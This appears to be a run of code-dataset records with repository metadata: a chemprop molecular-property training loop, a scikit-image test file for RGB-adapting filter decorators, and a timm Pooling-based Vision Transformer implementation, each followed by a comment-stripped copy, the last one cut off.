drug_scaler, cmpd_scaler = None, None args.train_data_size = len(train_data) debug(f'Total size = {len(data):,} | ' f'train size = {len(train_data):,} | val size = {len(val_data):,} | test size = {len(test_data):,}') # Initialize scaler and scale training targets by subtracting mean and dividing standard deviation (regression only) if args.dataset_type == 'regression': debug('Fitting scaler') train_smiles, train_targets = train_data.smiles(), train_data.targets() scaler = StandardScaler().fit(train_targets) scaled_targets = scaler.transform(train_targets).tolist() train_data.set_targets(scaled_targets) else: scaler = None # Get loss and metric functions loss_func = get_loss_func(args) metric_func = get_metric_func(metric=args.metric) # Set up test set evaluation test_smiles, test_targets = test_data.smiles(), test_data.targets() if args.dataset_type == 'multiclass': sum_test_preds = np.zeros((len(test_smiles), args.num_tasks, args.multiclass_num_classes)) else: sum_test_preds = np.zeros((len(test_smiles), args.num_tasks)) # Train ensemble of models for model_idx in range(args.ensemble_size): # Tensorboard writer save_dir = os.path.join(args.save_dir, f'model_{model_idx}') makedirs(save_dir) try: writer = SummaryWriter(log_dir=save_dir) except: writer = SummaryWriter(logdir=save_dir) # Load/build model if args.checkpoint_paths is not None: debug(f'Loading model {model_idx} from {args.checkpoint_paths[model_idx]}') model = load_checkpoint(args.checkpoint_paths[model_idx], current_args=args, logger=logger) else: debug(f'Building model {model_idx}') model = build_model(args) debug(model) debug(f'Number of parameters = {param_count(model):,}') if args.cuda: debug('Moving model to cuda') model = model.cuda() # Ensure that model is saved in correct location for evaluation if 0 epochs save_checkpoint(os.path.join(save_dir, 'model.pt'), model, scaler, drug_scaler, cmpd_scaler, args) # Optimizers optimizer = build_optimizer(model, args) # Learning rate schedulers scheduler = build_lr_scheduler(optimizer, args) # Run training best_score = float('inf') if args.minimize_score else -float('inf') best_epoch, n_iter = 0, 0 for epoch in trange(args.epochs): debug(f'Epoch {epoch}') n_iter = train( model=model, data=train_data, loss_func=loss_func, optimizer=optimizer, scheduler=scheduler, args=args, n_iter=n_iter, logger=logger, writer=writer ) if isinstance(scheduler, ExponentialLR): scheduler.step() val_scores, val_loss = evaluate( model=model, data=val_data, loss_func=loss_func, num_tasks=args.num_tasks, metric_func=metric_func, batch_size=args.batch_size, dataset_type=args.dataset_type, scaler=scaler, logger=logger ) # Average validation score avg_val_score = np.nanmean(val_scores) debug(f'Validation {args.metric} = {avg_val_score:.6f}') writer.add_scalar(f'validation_{args.metric}', avg_val_score, n_iter) debug(f'Validation loss = {val_loss:.6f}') writer.add_scalar(f'validation_loss', val_loss, n_iter) if args.show_individual_scores: # Individual validation scores for task_name, val_score in zip(args.task_names, val_scores): debug(f'Validation {task_name} {args.metric} = {val_score:.6f}') writer.add_scalar(f'validation_{task_name}_{args.metric}', val_score, n_iter) # Save model checkpoint if improved validation score if args.minimize_score and avg_val_score < best_score or \ not args.minimize_score and avg_val_score > best_score: best_score, best_epoch = avg_val_score, epoch save_checkpoint(os.path.join(save_dir, 'model.pt'), model, scaler, drug_scaler, cmpd_scaler, args) # Evaluate on test set using model with best validation score info(f'Model {model_idx} best validation {args.metric} = {best_score:.6f} on epoch {best_epoch}') model = load_checkpoint(os.path.join(save_dir, 'model.pt'), cuda=args.cuda, logger=logger) test_preds = predict( model=model, data=test_data, batch_size=args.batch_size, scaler=scaler ) if args.save_preds: val_preds = predict(model=model, data=val_data, batch_size=args.batch_size, scaler=scaler) train_preds = predict(model=model, data=train_data, batch_size=args.batch_size, scaler=scaler) save_predictions(save_dir, train_data, val_data, test_data, \ train_preds, val_preds, test_preds, args.task_names, scaler) test_scores = evaluate_predictions( preds=test_preds, targets=test_targets, num_tasks=args.num_tasks, metric_func=metric_func, dataset_type=args.dataset_type, logger=logger ) if len(test_preds) != 0: sum_test_preds += np.array(test_preds) # Average test score avg_test_score = np.nanmean(test_scores) info(f'Model {model_idx} test {args.metric} = {avg_test_score:.6f}') writer.add_scalar(f'test_{args.metric}', avg_test_score, 0) if args.show_individual_scores: # Individual test scores for task_name, test_score in zip(args.task_names, test_scores): info(f'Model {model_idx} test {task_name} {args.metric} = {test_score:.6f}') writer.add_scalar(f'test_{task_name}_{args.metric}', test_score, n_iter) # Evaluate ensemble on test set avg_test_preds = (sum_test_preds / args.ensemble_size).tolist() ensemble_scores = evaluate_predictions( preds=avg_test_preds, targets=test_targets, num_tasks=args.num_tasks, metric_func=metric_func, dataset_type=args.dataset_type, logger=logger ) # Average ensemble score avg_ensemble_test_score = np.nanmean(ensemble_scores) info(f'Ensemble test {args.metric} = {avg_ensemble_test_score:.6f}') writer.add_scalar(f'ensemble_test_{args.metric}', avg_ensemble_test_score, 0) # Individual ensemble scores if args.show_individual_scores: for task_name, ensemble_score in zip(args.task_names, ensemble_scores): info(f'Ensemble test {task_name} {args.metric} = {ensemble_score:.6f}') return ensemble_scores

41.60678

157

0.644533

from argparse import Namespace import csv from logging import Logger import os from pprint import pformat from typing import List import numpy as np from tensorboardX import SummaryWriter import torch from tqdm import trange import pickle from torch.optim.lr_scheduler import ExponentialLR from .evaluate import evaluate, evaluate_predictions from .predict import predict, save_predictions from .train import train from chemprop.data import StandardScaler from chemprop.data.utils import flip_data, get_class_sizes, get_data, get_task_names, split_data, split_loocv from chemprop.models import build_model from chemprop.nn_utils import param_count from chemprop.utils import build_optimizer, build_lr_scheduler, get_loss_func, get_metric_func, load_checkpoint,\ makedirs, save_checkpoint def run_training(args: Namespace, logger: Logger = None) -> List[float]: if logger is not None: debug, info = logger.debug, logger.info else: debug = info = print if args.gpu is not None: torch.cuda.set_device(args.gpu) debug(pformat(vars(args))) debug('Loading data') args.task_names = get_task_names(args.data_path, args.data_format) data = get_data(path=args.data_path, args=args, logger=logger) args.num_tasks = data.num_tasks() args.features_size = data.features_size() debug(f'Number of tasks = {args.num_tasks}') debug(f'Splitting data with seed {args.seed}') if args.separate_test_path: test_data = get_data(path=args.separate_test_path, args=args, features_path=args.separate_test_features_path, logger=logger) if args.separate_val_path: val_data = get_data(path=args.separate_val_path, args=args, features_path=args.separate_val_features_path, logger=logger) if args.separate_val_path and args.separate_test_path: train_data = data elif args.separate_val_path: train_data, _, test_data = split_data(data=data, split_type=args.split_type, sizes=(0.8, 0.0, 0.2), seed=args.seed, args=args, logger=logger) elif args.separate_test_path: train_data, val_data, _ = split_data(data=data, split_type=args.split_type, sizes=(0.8, 0.2, 0.0), seed=args.seed, args=args, logger=logger) elif args.split_type == 'loocv': train_data, val_data, test_data = split_loocv(data=data, args=args, logger=logger) else: train_data, val_data, test_data = split_data(data=data, split_type=args.split_type, sizes=args.split_sizes, seed=args.seed, args=args, logger=logger) if args.dataset_type == 'classification': class_sizes = get_class_sizes(test_data) debug('Class sizes in test set') for i, task_class_sizes in enumerate(class_sizes): debug(f'{args.task_names[i]} ' f'{", ".join(f"{cls}: {size * 100:.2f}%" for cls, size in enumerate(task_class_sizes))}') if not args.train_all and task_class_sizes == 0: debug('Moved to next epoch due to homogenous targets in test set.') return [float('nan')] if args.save_smiles_splits: with open(args.data_path, 'r') as f: reader = csv.reader(f) header = next(reader) lines_by_smiles = {} indices_by_smiles = {} for i, line in enumerate(reader): smiles = (line[0], line[1]) lines_by_smiles[smiles] = line indices_by_smiles[smiles] = i all_split_indices = [] for dataset, name in [(train_data, 'train'), (val_data, 'val'), (test_data, 'test')]: with open(os.path.join(args.save_dir, name + '_smiles.csv'), 'w') as f: writer = csv.writer(f) writer.writerow(['smiles']) for smiles in dataset.smiles(): writer.writerow([smiles]) with open(os.path.join(args.save_dir, name + '_full.csv'), 'w') as f: writer = csv.writer(f) writer.writerow(header) for smiles in dataset.smiles(): writer.writerow(lines_by_smiles[smiles]) split_indices = [] for smiles in dataset.smiles(): split_indices.append(indices_by_smiles[smiles]) split_indices = sorted(split_indices) all_split_indices.append(split_indices) with open(os.path.join(args.save_dir, 'split_indices.pckl'), 'wb') as f: pickle.dump(all_split_indices, f) if args.symmetric: train_data = flip_data(train_data) if args.features_scaling: drug_scaler, cmpd_scaler = train_data.normalize_features(replace_nan_token=0) val_data.normalize_features(drug_scaler, cmpd_scaler) test_data.normalize_features(drug_scaler, cmpd_scaler) else: drug_scaler, cmpd_scaler = None, None args.train_data_size = len(train_data) debug(f'Total size = {len(data):,} | ' f'train size = {len(train_data):,} | val size = {len(val_data):,} | test size = {len(test_data):,}') if args.dataset_type == 'regression': debug('Fitting scaler') train_smiles, train_targets = train_data.smiles(), train_data.targets() scaler = StandardScaler().fit(train_targets) scaled_targets = scaler.transform(train_targets).tolist() train_data.set_targets(scaled_targets) else: scaler = None loss_func = get_loss_func(args) metric_func = get_metric_func(metric=args.metric) test_smiles, test_targets = test_data.smiles(), test_data.targets() if args.dataset_type == 'multiclass': sum_test_preds = np.zeros((len(test_smiles), args.num_tasks, args.multiclass_num_classes)) else: sum_test_preds = np.zeros((len(test_smiles), args.num_tasks)) for model_idx in range(args.ensemble_size): save_dir = os.path.join(args.save_dir, f'model_{model_idx}') makedirs(save_dir) try: writer = SummaryWriter(log_dir=save_dir) except: writer = SummaryWriter(logdir=save_dir) if args.checkpoint_paths is not None: debug(f'Loading model {model_idx} from {args.checkpoint_paths[model_idx]}') model = load_checkpoint(args.checkpoint_paths[model_idx], current_args=args, logger=logger) else: debug(f'Building model {model_idx}') model = build_model(args) debug(model) debug(f'Number of parameters = {param_count(model):,}') if args.cuda: debug('Moving model to cuda') model = model.cuda() save_checkpoint(os.path.join(save_dir, 'model.pt'), model, scaler, drug_scaler, cmpd_scaler, args) optimizer = build_optimizer(model, args) scheduler = build_lr_scheduler(optimizer, args) best_score = float('inf') if args.minimize_score else -float('inf') best_epoch, n_iter = 0, 0 for epoch in trange(args.epochs): debug(f'Epoch {epoch}') n_iter = train( model=model, data=train_data, loss_func=loss_func, optimizer=optimizer, scheduler=scheduler, args=args, n_iter=n_iter, logger=logger, writer=writer ) if isinstance(scheduler, ExponentialLR): scheduler.step() val_scores, val_loss = evaluate( model=model, data=val_data, loss_func=loss_func, num_tasks=args.num_tasks, metric_func=metric_func, batch_size=args.batch_size, dataset_type=args.dataset_type, scaler=scaler, logger=logger ) avg_val_score = np.nanmean(val_scores) debug(f'Validation {args.metric} = {avg_val_score:.6f}') writer.add_scalar(f'validation_{args.metric}', avg_val_score, n_iter) debug(f'Validation loss = {val_loss:.6f}') writer.add_scalar(f'validation_loss', val_loss, n_iter) if args.show_individual_scores: for task_name, val_score in zip(args.task_names, val_scores): debug(f'Validation {task_name} {args.metric} = {val_score:.6f}') writer.add_scalar(f'validation_{task_name}_{args.metric}', val_score, n_iter) if args.minimize_score and avg_val_score < best_score or \ not args.minimize_score and avg_val_score > best_score: best_score, best_epoch = avg_val_score, epoch save_checkpoint(os.path.join(save_dir, 'model.pt'), model, scaler, drug_scaler, cmpd_scaler, args) info(f'Model {model_idx} best validation {args.metric} = {best_score:.6f} on epoch {best_epoch}') model = load_checkpoint(os.path.join(save_dir, 'model.pt'), cuda=args.cuda, logger=logger) test_preds = predict( model=model, data=test_data, batch_size=args.batch_size, scaler=scaler ) if args.save_preds: val_preds = predict(model=model, data=val_data, batch_size=args.batch_size, scaler=scaler) train_preds = predict(model=model, data=train_data, batch_size=args.batch_size, scaler=scaler) save_predictions(save_dir, train_data, val_data, test_data, \ train_preds, val_preds, test_preds, args.task_names, scaler) test_scores = evaluate_predictions( preds=test_preds, targets=test_targets, num_tasks=args.num_tasks, metric_func=metric_func, dataset_type=args.dataset_type, logger=logger ) if len(test_preds) != 0: sum_test_preds += np.array(test_preds) avg_test_score = np.nanmean(test_scores) info(f'Model {model_idx} test {args.metric} = {avg_test_score:.6f}') writer.add_scalar(f'test_{args.metric}', avg_test_score, 0) if args.show_individual_scores: for task_name, test_score in zip(args.task_names, test_scores): info(f'Model {model_idx} test {task_name} {args.metric} = {test_score:.6f}') writer.add_scalar(f'test_{task_name}_{args.metric}', test_score, n_iter) avg_test_preds = (sum_test_preds / args.ensemble_size).tolist() ensemble_scores = evaluate_predictions( preds=avg_test_preds, targets=test_targets, num_tasks=args.num_tasks, metric_func=metric_func, dataset_type=args.dataset_type, logger=logger ) avg_ensemble_test_score = np.nanmean(ensemble_scores) info(f'Ensemble test {args.metric} = {avg_ensemble_test_score:.6f}') writer.add_scalar(f'ensemble_test_{args.metric}', avg_ensemble_test_score, 0) if args.show_individual_scores: for task_name, ensemble_score in zip(args.task_names, ensemble_scores): info(f'Ensemble test {task_name} {args.metric} = {ensemble_score:.6f}') return ensemble_scores

true

f7102ed9e03cc66c9c81ee370ec0eb1a82b28ef4

2,753

py

Python

ProgettoLube/WebInspector/venv/Lib/site-packages/skimage/color/tests/test_adapt_rgb.py

Lube-Project/ProgettoLube

cbf33971e2c2e865783ec1a2302625539186a338

[ "MIT" ]

2

2022-03-19T09:45:18.000Z

2022-03-19T15:26:24.000Z

ProgettoLube/WebInspector/venv/Lib/site-packages/skimage/color/tests/test_adapt_rgb.py

Lube-Project/ProgettoLube

cbf33971e2c2e865783ec1a2302625539186a338

[ "MIT" ]

7

2021-06-08T21:46:24.000Z

2022-03-12T00:35:31.000Z

site-packages/skimage/color/tests/test_adapt_rgb.py

Wristlebane/Pyto

901ac307b68486d8289105c159ca702318bea5b0

[ "MIT" ]

1

2020-06-29T15:18:22.000Z

from functools import partial import numpy as np from skimage import img_as_float, img_as_uint from skimage import color, data, filters from skimage.color.adapt_rgb import adapt_rgb, each_channel, hsv_value # Down-sample image for quicker testing. COLOR_IMAGE = data.astronaut()[::5, ::6] GRAY_IMAGE = data.camera()[::5, ::5] SIGMA = 3 smooth = partial(filters.gaussian, sigma=SIGMA) assert_allclose = partial(np.testing.assert_allclose, atol=1e-8) @adapt_rgb(each_channel) def edges_each(image): return filters.sobel(image) @adapt_rgb(each_channel) def smooth_each(image, sigma): return filters.gaussian(image, sigma) @adapt_rgb(each_channel) def mask_each(image, mask): result = image.copy() result[mask] = 0 return result @adapt_rgb(hsv_value) def edges_hsv(image): return filters.sobel(image) @adapt_rgb(hsv_value) def smooth_hsv(image, sigma): return filters.gaussian(image, sigma) @adapt_rgb(hsv_value) def edges_hsv_uint(image): return img_as_uint(filters.sobel(image)) def test_gray_scale_image(): # We don't need to test both `hsv_value` and `each_channel` since # `adapt_rgb` is handling gray-scale inputs. assert_allclose(edges_each(GRAY_IMAGE), filters.sobel(GRAY_IMAGE)) def test_each_channel(): filtered = edges_each(COLOR_IMAGE) for i, channel in enumerate(np.rollaxis(filtered, axis=-1)): expected = img_as_float(filters.sobel(COLOR_IMAGE[:, :, i])) assert_allclose(channel, expected) def test_each_channel_with_filter_argument(): filtered = smooth_each(COLOR_IMAGE, SIGMA) for i, channel in enumerate(np.rollaxis(filtered, axis=-1)): assert_allclose(channel, smooth(COLOR_IMAGE[:, :, i])) def test_each_channel_with_asymmetric_kernel(): mask = np.triu(np.ones(COLOR_IMAGE.shape[:2], dtype=np.bool_)) mask_each(COLOR_IMAGE, mask) def test_hsv_value(): filtered = edges_hsv(COLOR_IMAGE) value = color.rgb2hsv(COLOR_IMAGE)[:, :, 2] assert_allclose(color.rgb2hsv(filtered)[:, :, 2], filters.sobel(value)) def test_hsv_value_with_filter_argument(): filtered = smooth_hsv(COLOR_IMAGE, SIGMA) value = color.rgb2hsv(COLOR_IMAGE)[:, :, 2] assert_allclose(color.rgb2hsv(filtered)[:, :, 2], smooth(value)) def test_hsv_value_with_non_float_output(): # Since `rgb2hsv` returns a float image and the result of the filtered # result is inserted into the HSV image, we want to make sure there isn't # a dtype mismatch. filtered = edges_hsv_uint(COLOR_IMAGE) filtered_value = color.rgb2hsv(filtered)[:, :, 2] value = color.rgb2hsv(COLOR_IMAGE)[:, :, 2] # Reduce tolerance because dtype conversion. assert_allclose(filtered_value, filters.sobel(value), rtol=1e-5, atol=1e-5)

28.978947

79

0.730839

from functools import partial import numpy as np from skimage import img_as_float, img_as_uint from skimage import color, data, filters from skimage.color.adapt_rgb import adapt_rgb, each_channel, hsv_value COLOR_IMAGE = data.astronaut()[::5, ::6] GRAY_IMAGE = data.camera()[::5, ::5] SIGMA = 3 smooth = partial(filters.gaussian, sigma=SIGMA) assert_allclose = partial(np.testing.assert_allclose, atol=1e-8) @adapt_rgb(each_channel) def edges_each(image): return filters.sobel(image) @adapt_rgb(each_channel) def smooth_each(image, sigma): return filters.gaussian(image, sigma) @adapt_rgb(each_channel) def mask_each(image, mask): result = image.copy() result[mask] = 0 return result @adapt_rgb(hsv_value) def edges_hsv(image): return filters.sobel(image) @adapt_rgb(hsv_value) def smooth_hsv(image, sigma): return filters.gaussian(image, sigma) @adapt_rgb(hsv_value) def edges_hsv_uint(image): return img_as_uint(filters.sobel(image)) def test_gray_scale_image(): # `adapt_rgb` is handling gray-scale inputs. assert_allclose(edges_each(GRAY_IMAGE), filters.sobel(GRAY_IMAGE)) def test_each_channel(): filtered = edges_each(COLOR_IMAGE) for i, channel in enumerate(np.rollaxis(filtered, axis=-1)): expected = img_as_float(filters.sobel(COLOR_IMAGE[:, :, i])) assert_allclose(channel, expected) def test_each_channel_with_filter_argument(): filtered = smooth_each(COLOR_IMAGE, SIGMA) for i, channel in enumerate(np.rollaxis(filtered, axis=-1)): assert_allclose(channel, smooth(COLOR_IMAGE[:, :, i])) def test_each_channel_with_asymmetric_kernel(): mask = np.triu(np.ones(COLOR_IMAGE.shape[:2], dtype=np.bool_)) mask_each(COLOR_IMAGE, mask) def test_hsv_value(): filtered = edges_hsv(COLOR_IMAGE) value = color.rgb2hsv(COLOR_IMAGE)[:, :, 2] assert_allclose(color.rgb2hsv(filtered)[:, :, 2], filters.sobel(value)) def test_hsv_value_with_filter_argument(): filtered = smooth_hsv(COLOR_IMAGE, SIGMA) value = color.rgb2hsv(COLOR_IMAGE)[:, :, 2] assert_allclose(color.rgb2hsv(filtered)[:, :, 2], smooth(value)) def test_hsv_value_with_non_float_output(): # Since `rgb2hsv` returns a float image and the result of the filtered # result is inserted into the HSV image, we want to make sure there isn't filtered = edges_hsv_uint(COLOR_IMAGE) filtered_value = color.rgb2hsv(filtered)[:, :, 2] value = color.rgb2hsv(COLOR_IMAGE)[:, :, 2] assert_allclose(filtered_value, filters.sobel(value), rtol=1e-5, atol=1e-5)

true

f71030712e51257e43c9ff71be37bc814684e32c

12,983

py

Python

timm/models/pit.py

Animatory/pytorch-image-models

3ace100fcfdab3619dc71307613c42e53fb70221

[ "Apache-2.0" ]

null

timm/models/pit.py

Animatory/pytorch-image-models

3ace100fcfdab3619dc71307613c42e53fb70221

[ "Apache-2.0" ]

null

timm/models/pit.py

Animatory/pytorch-image-models

3ace100fcfdab3619dc71307613c42e53fb70221

[ "Apache-2.0" ]

null

""" Pooling-based Vision Transformer (PiT) in PyTorch A PyTorch implement of Pooling-based Vision Transformers as described in 'Rethinking Spatial Dimensions of Vision Transformers' - https://arxiv.org/abs/2103.16302 This code was adapted from the original version at https://github.com/naver-ai/pit, original copyright below. Modifications for timm by / Copyright 2020 Ross Wightman """ # PiT # Copyright 2021-present NAVER Corp. # Apache License v2.0 import math import re from functools import partial from typing import Tuple import torch from torch import nn from timm.data import IMAGENET_DEFAULT_MEAN, IMAGENET_DEFAULT_STD from .helpers import build_model_with_cfg from .layers import trunc_normal_, to_2tuple from .registry import register_model from .vision_transformer import Block def _cfg(url='', **kwargs): return { 'url': url, 'num_classes': 1000, 'input_size': (3, 224, 224), 'pool_size': None, 'crop_pct': .9, 'interpolation': 'bicubic', 'fixed_input_size': True, 'mean': IMAGENET_DEFAULT_MEAN, 'std': IMAGENET_DEFAULT_STD, 'first_conv': 'patch_embed.conv', 'classifier': 'head', **kwargs } default_cfgs = { # deit models (FB weights) 'pit_ti_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_ti_730.pth'), 'pit_xs_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_xs_781.pth'), 'pit_s_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_s_809.pth'), 'pit_b_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_b_820.pth'), 'pit_ti_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_ti_distill_746.pth', classifier=('head', 'head_dist')), 'pit_xs_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_xs_distill_791.pth', classifier=('head', 'head_dist')), 'pit_s_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_s_distill_819.pth', classifier=('head', 'head_dist')), 'pit_b_distilled_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_b_distill_840.pth', classifier=('head', 'head_dist')), } class SequentialTuple(nn.Sequential): """ This module exists to work around torchscript typing issues list -> list""" def __init__(self, *args): super(SequentialTuple, self).__init__(*args) def forward(self, x: Tuple[torch.Tensor, torch.Tensor]) -> Tuple[torch.Tensor, torch.Tensor]: for module in self: x = module(x) return x class Transformer(nn.Module): def __init__( self, base_dim, depth, heads, mlp_ratio, pool=None, drop_rate=.0, attn_drop_rate=.0, drop_path_prob=None): super(Transformer, self).__init__() self.layers = nn.ModuleList([]) embed_dim = base_dim * heads self.blocks = nn.Sequential(*[ Block( dim=embed_dim, num_heads=heads, mlp_ratio=mlp_ratio, qkv_bias=True, drop=drop_rate, attn_drop=attn_drop_rate, drop_path=drop_path_prob[i], norm_layer=partial(nn.LayerNorm, eps=1e-6) ) for i in range(depth)]) self.pool = pool def forward(self, x: Tuple[torch.Tensor, torch.Tensor]) -> Tuple[torch.Tensor, torch.Tensor]: x, cls_tokens = x B, C, H, W = x.shape token_length = cls_tokens.shape[1] x = x.flatten(2).transpose(1, 2) x = torch.cat((cls_tokens, x), dim=1) x = self.blocks(x) cls_tokens = x[:, :token_length] x = x[:, token_length:] x = x.transpose(1, 2).reshape(B, C, H, W) if self.pool is not None: x, cls_tokens = self.pool(x, cls_tokens) return x, cls_tokens class ConvHeadPooling(nn.Module): def __init__(self, in_feature, out_feature, stride, padding_mode='zeros'): super(ConvHeadPooling, self).__init__() self.conv = nn.Conv2d( in_feature, out_feature, kernel_size=stride + 1, padding=stride // 2, stride=stride, padding_mode=padding_mode, groups=in_feature) self.fc = nn.Linear(in_feature, out_feature) def forward(self, x, cls_token) -> Tuple[torch.Tensor, torch.Tensor]: x = self.conv(x) cls_token = self.fc(cls_token) return x, cls_token class ConvEmbedding(nn.Module): def __init__(self, in_channels, out_channels, patch_size, stride, padding): super(ConvEmbedding, self).__init__() self.conv = nn.Conv2d( in_channels, out_channels, kernel_size=patch_size, stride=stride, padding=padding, bias=True) def forward(self, x): x = self.conv(x) return x class PoolingVisionTransformer(nn.Module): """ Pooling-based Vision Transformer A PyTorch implement of 'Rethinking Spatial Dimensions of Vision Transformers' - https://arxiv.org/abs/2103.16302 """ def __init__(self, img_size, patch_size, stride, base_dims, depth, heads, mlp_ratio, num_classes=1000, in_chans=3, distilled=False, attn_drop_rate=.0, drop_rate=.0, drop_path_rate=.0): super(PoolingVisionTransformer, self).__init__() padding = 0 img_size = to_2tuple(img_size) patch_size = to_2tuple(patch_size) height = math.floor((img_size[0] + 2 * padding - patch_size[0]) / stride + 1) width = math.floor((img_size[1] + 2 * padding - patch_size[1]) / stride + 1) self.base_dims = base_dims self.heads = heads self.num_classes = num_classes self.num_tokens = 2 if distilled else 1 self.patch_size = patch_size self.pos_embed = nn.Parameter(torch.randn(1, base_dims[0] * heads[0], height, width)) self.patch_embed = ConvEmbedding(in_chans, base_dims[0] * heads[0], patch_size, stride, padding) self.cls_token = nn.Parameter(torch.randn(1, self.num_tokens, base_dims[0] * heads[0])) self.pos_drop = nn.Dropout(p=drop_rate) transformers = [] # stochastic depth decay rule dpr = [x.tolist() for x in torch.linspace(0, drop_path_rate, sum(depth)).split(depth)] for stage in range(len(depth)): pool = None if stage < len(heads) - 1: pool = ConvHeadPooling( base_dims[stage] * heads[stage], base_dims[stage + 1] * heads[stage + 1], stride=2) transformers += [Transformer( base_dims[stage], depth[stage], heads[stage], mlp_ratio, pool=pool, drop_rate=drop_rate, attn_drop_rate=attn_drop_rate, drop_path_prob=dpr[stage]) ] self.transformers = SequentialTuple(*transformers) self.norm = nn.LayerNorm(base_dims[-1] * heads[-1], eps=1e-6) self.num_features = self.embed_dim = base_dims[-1] * heads[-1] # Classifier head self.head = nn.Linear(self.embed_dim, num_classes) if num_classes > 0 else nn.Identity() self.head_dist = None if distilled: self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity() trunc_normal_(self.pos_embed, std=.02) trunc_normal_(self.cls_token, std=.02) self.apply(self._init_weights) def _init_weights(self, m): if isinstance(m, nn.LayerNorm): nn.init.constant_(m.bias, 0) nn.init.constant_(m.weight, 1.0) @torch.jit.ignore def no_weight_decay(self): return {'pos_embed', 'cls_token'} def get_classifier(self): if self.head_dist is not None: return self.head, self.head_dist else: return self.head def reset_classifier(self, num_classes, global_pool=''): self.num_classes = num_classes self.head = nn.Linear(self.embed_dim, num_classes) if num_classes > 0 else nn.Identity() if self.head_dist is not None: self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity() def forward_features(self, x): x = self.patch_embed(x) x = self.pos_drop(x + self.pos_embed) cls_tokens = self.cls_token.expand(x.shape[0], -1, -1) x, cls_tokens = self.transformers((x, cls_tokens)) cls_tokens = self.norm(cls_tokens) if self.head_dist is not None: return cls_tokens[:, 0], cls_tokens[:, 1] else: return cls_tokens[:, 0] def forward(self, x): x = self.forward_features(x) if self.head_dist is not None: x, x_dist = self.head(x[0]), self.head_dist(x[1]) # x must be a tuple if self.training and not torch.jit.is_scripting(): return x, x_dist else: return (x + x_dist) / 2 else: return self.head(x) def checkpoint_filter_fn(state_dict, model): """ preprocess checkpoints """ out_dict = {} p_blocks = re.compile(r'pools\.(\d)\.') for k, v in state_dict.items(): # FIXME need to update resize for PiT impl # if k == 'pos_embed' and v.shape != model.pos_embed.shape: # # To resize pos embedding when using model at different size from pretrained weights # v = resize_pos_embed(v, model.pos_embed) k = p_blocks.sub(lambda exp: f'transformers.{int(exp.group(1))}.pool.', k) out_dict[k] = v return out_dict def _create_pit(variant, pretrained=False, **kwargs): if kwargs.get('features_only', None): raise RuntimeError('features_only not implemented for Vision Transformer models.') model = build_model_with_cfg( PoolingVisionTransformer, variant, pretrained, default_cfg=default_cfgs[variant], pretrained_filter_fn=checkpoint_filter_fn, **kwargs) return model @register_model def pit_b_224(pretrained, **kwargs): model_kwargs = dict( patch_size=14, stride=7, base_dims=[64, 64, 64], depth=[3, 6, 4], heads=[4, 8, 16], mlp_ratio=4, **kwargs ) return _create_pit('pit_b_224', pretrained, **model_kwargs) @register_model def pit_s_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[3, 6, 12], mlp_ratio=4, **kwargs ) return _create_pit('pit_s_224', pretrained, **model_kwargs) @register_model def pit_xs_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, **kwargs ) return _create_pit('pit_xs_224', pretrained, **model_kwargs) @register_model def pit_ti_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[32, 32, 32], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, **kwargs ) return _create_pit('pit_ti_224', pretrained, **model_kwargs) @register_model def pit_b_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=14, stride=7, base_dims=[64, 64, 64], depth=[3, 6, 4], heads=[4, 8, 16], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_b_distilled_224', pretrained, **model_kwargs) @register_model def pit_s_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[3, 6, 12], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_s_distilled_224', pretrained, **model_kwargs) @register_model def pit_xs_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[48, 48, 48], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_xs_distilled_224', pretrained, **model_kwargs) @register_model def pit_ti_distilled_224(pretrained, **kwargs): model_kwargs = dict( patch_size=16, stride=8, base_dims=[32, 32, 32], depth=[2, 6, 4], heads=[2, 4, 8], mlp_ratio=4, distilled=True, **kwargs ) return _create_pit('pit_ti_distilled_224', pretrained, **model_kwargs)

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122

0.626281

import math import re from functools import partial from typing import Tuple import torch from torch import nn from timm.data import IMAGENET_DEFAULT_MEAN, IMAGENET_DEFAULT_STD from .helpers import build_model_with_cfg from .layers import trunc_normal_, to_2tuple from .registry import register_model from .vision_transformer import Block def _cfg(url='', **kwargs): return { 'url': url, 'num_classes': 1000, 'input_size': (3, 224, 224), 'pool_size': None, 'crop_pct': .9, 'interpolation': 'bicubic', 'fixed_input_size': True, 'mean': IMAGENET_DEFAULT_MEAN, 'std': IMAGENET_DEFAULT_STD, 'first_conv': 'patch_embed.conv', 'classifier': 'head', **kwargs } default_cfgs = { 'pit_ti_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_ti_730.pth'), 'pit_xs_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_xs_781.pth'), 'pit_s_224': _cfg( url='https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-pit-weights/pit_s_809.pth'), 'pit_b_224': _cfg( 